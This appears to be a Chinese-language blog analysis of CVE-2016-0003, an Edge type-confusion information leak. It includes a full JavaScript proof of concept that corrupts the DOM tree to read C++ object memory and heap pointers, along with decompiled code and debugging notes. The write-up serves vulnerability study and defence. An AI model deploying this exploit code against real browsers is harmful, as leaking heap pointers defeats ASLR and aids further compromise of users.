CVE-2016-0003 Microsoft Edge TextData Type Confusion Information Disclosure Vulnerability

1. Vulnerability Description

1.1 The Issue

MS Edge CDOMTextNode::get_data type confusion

特别构造的JavaScript脚本可以触发Microsoft Edge的type confusion,使得可以像访问字符串一样访问C++对象。 这可能导致信息泄露,例如允许攻击者确定指向其他对象或函数的指针的值。

1.2 Affect version

Microsoft Edge 20.10240.16384.0

1.3 Timeline

01/12/2016 Advisory disclosed
01/12/2016 +0 days Countermeasure disclosed
01/12/2016 +0 days SecurityTracker entry created
01/12/2016 +0 days VulnerabilityCenter entry assigned
01/13/2016 +1 days VulnerabilityCenter entry created
01/14/2016 +1 days VulDB entry created
01/17/2016 +3 days VulnerabilityCenter entry updated
01/19/2016 +2 days VulDB last update

2. Technical description and PoC

2.1 Description

在DOM树中将一个节点作为子节点加到另一个节点时,Edge首先从其父节点中删除该节点,触发DOMNodeRemoved事件,然后重新附加该节点作为另一个节点的最后一个子节点。
而在DOMNodeRemoved事件发生时,JavaScript的事件处理器可以更改DOM树,我们尝试在触发DOMNodeRemoved事件时向同一个父节点插入另一个文本子节点,这个操作在事件期间完成,因此该文本子节点在触发事件的节点之前作为子节点附加。
而在触发DOMNodeRemoved事件处理程序之前,代码似乎确定了节点应该被附加的位置,因此最开始插入的节点在父文本节点之前而不是之后被插入。
因为bug的存在,在完成所有这些操作后,DOM树已被破坏。这可以通过检查文本节点的.nextSibling属性是文本节点本身来确认, 即DOM树中有一个循环。
另一个效果是,读取文本节点的nodeValue将导致类型混淆。这里Edge访问文本节点中存储的文本数据时,实际访问的却是一个C++对象。这样可以让攻击者读取存储在这个C++对象中的数据,其中包含各种指针。

2.2 JavaScript PoC

Skylined给出了一个读取并显示DOM树对象的部分内容的PoC。该PoC已经在x64系统上进行了测试,允许攻击者绕过堆ASLR,读取堆指针。

读取的数据量可以由攻击者控制,并且可以读取分配给C++对象的内存之外的数据。攻击者可能能够使用一些堆的技巧将其他对象与C++DOM树对象中的有用信息放置在内存中,并从第二个对象读取数据。

exp如下

<html>
  <head>
    <script>
      var uNodeRemovedEvents = 0;
      onerror = function (sError, sSource, uLine){
        alert(sError + " on line " + uLine);
      };
      
      document.addEventListener("DOMNodeRemoved", function(oEvent) {
        if (uNodeRemovedEvents++ == 0) {
          oTextNode = document.createTextNode("[2]");
          // 这里有一个需要注意的地方
          // insertBefore在Edge中如果没有第二个参数,那么等同于appendChild
          // 但是其他浏览器是不支持的
          // 作者这里用insertBefore是为了更好的去判断是否有一个堆因为此处操作被allocated
          // 用于和之后的appendChild调用区分开
          document.body.insertBefore(oTextNode);
        };
      }, true);
      
      onload = function(){
        // onload中首先执行的是appendChild
        // 这里oExistingChild已经有了父节点,所以会先从父节点移除这个元素,然后把它作为新父节点的最后一个子节点
        // 其中移除操作会触发DOMNodeRemoved事件,而增加操作会触发DOMNodeInserted事件。
        document.body.appendChild(oExistingChild);
        // 但是,在oExistingChild触发DOMNodeRemoved事件时,
        // oTextNode插入了节点中
        // 最后oExistingChild成为了最后一个元素
        // 但是这里出现了一个bug
        // oTextNode的nextSibling指向了自己
        // 在这里,DOM树出现了一种类似循环的结构
        for (var oNode = document.body.firstChild; oNode && oNode != oNode.nextSibling; oNode = oNode.nextSibling) {
            // 加上这段代码是为了防止被Edge检测到树的结构出现了问题
            // 如果没有这段代码Js执行到这里的时候就会崩溃
        }

        if (oTextNode.nextSibling !== oTextNode) {
            // 未触发漏洞时报错
          throw new Error("Tree is not corrupt");
        }
        
        alert("Set breakpoints if needed");
        // 这里是为了生成一个copy
        var sData = ("A" + oTextNode.nodeValue).substr(1);
        // 下面的逻辑是读取oTextNode.nodeValue的值
        // 但实际上是内存中某块的位置
        // 在读取之后按规则格式化输出
        var sHexData = "Read 0x" + sData.length.toString(16); 
        sHexData += " bytes: ????????`????????";
        sHexQWord = "`????????";
        for (var uBytes = 4, uOffset = 4, uIndex = 0; uIndex < sData.length; uIndex++) {
          var sHexWord = sData.charCodeAt(uIndex).toString(16);
          while (sHexWord.length < 4) sHexWord = "0" + sHexWord;
          sHexQWord = sHexWord + sHexQWord;
          uBytes += 2;
          if (uBytes == 4) sHexQWord = "`" + sHexQWord;
          if (uBytes == 8) {
            sHexData += " " + sHexQWord;
            sHexQWord = "";
            uBytes = 0;
          };
        };
        if (sHexQWord) {
          while (sHexQWord.length < 17) {
            if (sHexQWord.length == 8) sHexQWord += "`";
            sHexQWord = "????" + sHexQWord;
          }
          sHexData += " " + sHexQWord;
        }
        alert(sHexData);
        // 代码执行到这里的时候会crash
        // 但是这里已经可以读取栈上的数据了
        oTextNode.nodeValue = "";
      };
    </script>
  </head>
  <body>x<x id=oExistingChild></x></body>
</html>

2.3 Code Analyze

上面这个利用流程,比较关键的几个函数是CDOMTextNode::get_data、CDOMTextNode::get_length

读取数据的函数是CDOMTextNode::get_data,代码如下

__int64 __fastcall CDOMTextNode::get_data(CDOMTextNode *this, unsigned __int16 **a2)
{
  unsigned __int16 **v2; // rbx@1
  CDOMTextNode *this_rdi; // rdi@1
  Tree::TextData *v4; // rcx@2
  __int32 v5; // eax@4
  BSTR v6; // rax@4
  int v7; // ebp@4
  struct CTreePos *v8; // rax@4
  struct CTreePos *v9; // rsi@4
  Tree::TextNode *v10; // rdi@4
  unsigned __int16 *v11; // rax@5
  Tree::ANode *v12; // rax@5
  CTreePos *v13; // rcx@6
  __int64 v14; // r9@9
  const OLECHAR *v15; // rax@9
  UINT v16; // er9@9
  BSTR v17; // rax@9
  UINT ui; // [sp+48h] [bp+10h]@4
  unsigned __int32 v20; // [sp+50h] [bp+18h]@5

  v2 = a2;
  this_rdi = this;
  if ( a2 )
  {
    *a2 = 0i64;
    v4 = (Tree::TextData *)*((_QWORD *)this + 6);
    if ( v4 )
    {
      v14 = *(_DWORD *)v4;
      v15 = Tree::TextData::GetText(v4, 0, 0i64);
      v17 = SysAllocStringLen(v15, v16);
      *v2 = (unsigned __int16 *)Abandonment::CheckAllocationUntyped(v17);
    }
    else if ( CDOMTextNode::IsPositioned(this_rdi) )
    {
      ui = 0;
      v5 = CDOMTextNode::get_length(this_rdi, (__int32 *)&ui);
      Abandonment::CheckHRESULTStrict(v5);
      v6 = SysAllocStringLen(0i64, ui);
      *v2 = (unsigned __int16 *)Abandonment::CheckAllocationUntyped(v6);
      v7 = 0;
      LODWORD(v8) = Tree::TextNode::TextNodeFromDOMTextNode((__int64)this_rdi);
      v9 = v8;
      v10 = v8;
      do
      {
        v11 = Tree::TextNode::Text(v10, 0, &v20);
        memcpy_s(&(*v2)[v7], 2i64 * (signed int)(ui - v7), v11, 2i64 * v20);
        v7 += v20;
        v12 = Tree::TreeReader::GetNextSiblingWithFilter(
                v10,
                (enum Tree::NodeFilterResultsEnum (__stdcall __high static *)(const struct Tree::ANode *))&Dom::TreeReader::ScriptableIdentityFilter);
        v10 = v12;
      }
      while ( v12 && Tree::ANode::IsTextNode(v12) && CTreePos::IsSameTextOrCDataNode(v13, v9) );
    }
  }
  return 0i64;
}

在函数中有一次调用
CDOMTextNode::get_length(this_rdi, (__int32 *)&ui)
代码如下,其中a2的值是ui,也就是0,而CDOMTextNode::IsPositioned(this)返回值为真,即进入了第二个逻辑,在该逻辑中进行了长度的处理

获取长度后,则在get_data函数中,在memcpy_s(&(*v2)[v7], 2i64 * (signed int)(ui - v7), v11, 2i64 * v20)这行代码利用memcpy_s不断读取内存中的值至长度到达之前get_length函数返回的值位置。

这里读取的是v11指向中保存地址指向的值,那我们再上溯,v11 = Tree::TextNode::Text(v10, 0, &v20);,其中v10的值是Tree::TextNode::TextNodeFromDOMTextNode返回的一个结构体指针,而调用该函数的参数是rcx。

__int64 __fastcall CDOMTextNode::get_length(CDOMTextNode *this, __int32 *a2)
{
  __int32 *v2; // rax@1
  signed int v3; // ebx@1
  __int32 *v4; // rsi@1
  CDOMTextNode *v5; // rdi@1
  struct CTreePos *v7; // rax@6
  struct CTreePos *v8; // rbp@6
  struct CTreePos *v9; // r11@6
  __int32 v10; // edi@6
  Tree::ANode *v11; // rax@7
  CTreePos *v12; // rcx@8

  v2 = (__int32 *)*((_QWORD *)this + 6);
  v3 = 0;
  v4 = a2;
  v5 = this;
  if ( v2 )
  {
    *a2 = *v2;
  }
  else if ( CDOMTextNode::IsPositioned(this) )
  {
    LODWORD(v7) = Tree::TextNode::TextNodeFromDOMTextNode((__int64)v5);
    v8 = v7;
    v9 = v7;
    v10 = 0;
    do
    {
      v10 += **((_DWORD **)v9 + 7);
      v11 = Tree::TreeReader::GetNextSiblingWithFilter(
              v9,
              (enum Tree::NodeFilterResultsEnum (__stdcall __high static *)(const struct Tree::ANode *))&Dom::TreeReader::ScriptableIdentityFilter);
    }
    while ( v11 && Tree::ANode::IsTextNode(v11) && CTreePos::IsSameTextOrCDataNode(v12, v8) );
    *v4 = v10;
  }
  else
  {
    v3 = -2147024809;
  }
  return (unsigned int)v3;
}

2.4 Dynamic Analysis

对get_data下断点后开始单步跟踪,发现这里get_length函数的返回值和节点oExistingChild的长度相关,也就是说,这里出现了一个bug,在本来应该读取textnode的长度的时候,返回了一个和oExistingChild长度相关的数值,即我们可以一定程度上控制读取的数据长度,当然,这里数据如果太长,在读取的时候会触发一个访问错误,导致进程崩溃无法继续读取。

最后结合动态调试和代码分析发现length是从结构体指针处偏移0x1c的位置指向的指针指向的位置中取出来,即first_struct->other_struct->length。而读取的地址位置则是结构体指针偏移0xC的位置。

3. References

1. zerodayinitiative
2. microsoft
3. securitytracker
4. cve.mitre.org
5. vuldb
6. skylined blog

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,684评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,143评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,214评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,788评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,796评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,665评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,027评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,679评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 41,346评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,664评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,766评论 1 331
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,412评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,015评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,974评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,203评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,073评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,501评论 2 343

推荐阅读更多精彩内容

  • php usleep() 函数延迟代码执行若干微秒。 unpack() 函数从二进制字符串对数据进行解包。 uni...
    思梦PHP阅读 1,980评论 1 24
  • *面试心声:其实这些题本人都没怎么背,但是在上海 两周半 面了大约10家 收到差不多3个offer,总结起来就是把...
    Dove_iOS阅读 27,121评论 29 470
  • PHP常用函数大全 usleep() 函数延迟代码执行若干微秒。 unpack() 函数从二进制字符串对数据进行解...
    上街买菜丶迷倒老太阅读 1,351评论 0 20
  • 我如愿以偿的见到了秦哲,在今年的国庆节。 中秋节的时候,秦哲跟我说,我回来了。 我该怎样形容当时的心情呢?忽如一夜...
    如果玻璃会说话z阅读 163评论 0 0
  • 不管你走了多远 家乡的感觉总在心间 家乡的山永远那么高 家乡的树水远那么绿 家乡的水永远那么甜 家乡的花儿永远那么...
    敕勒川云海峰阅读 300评论 1 4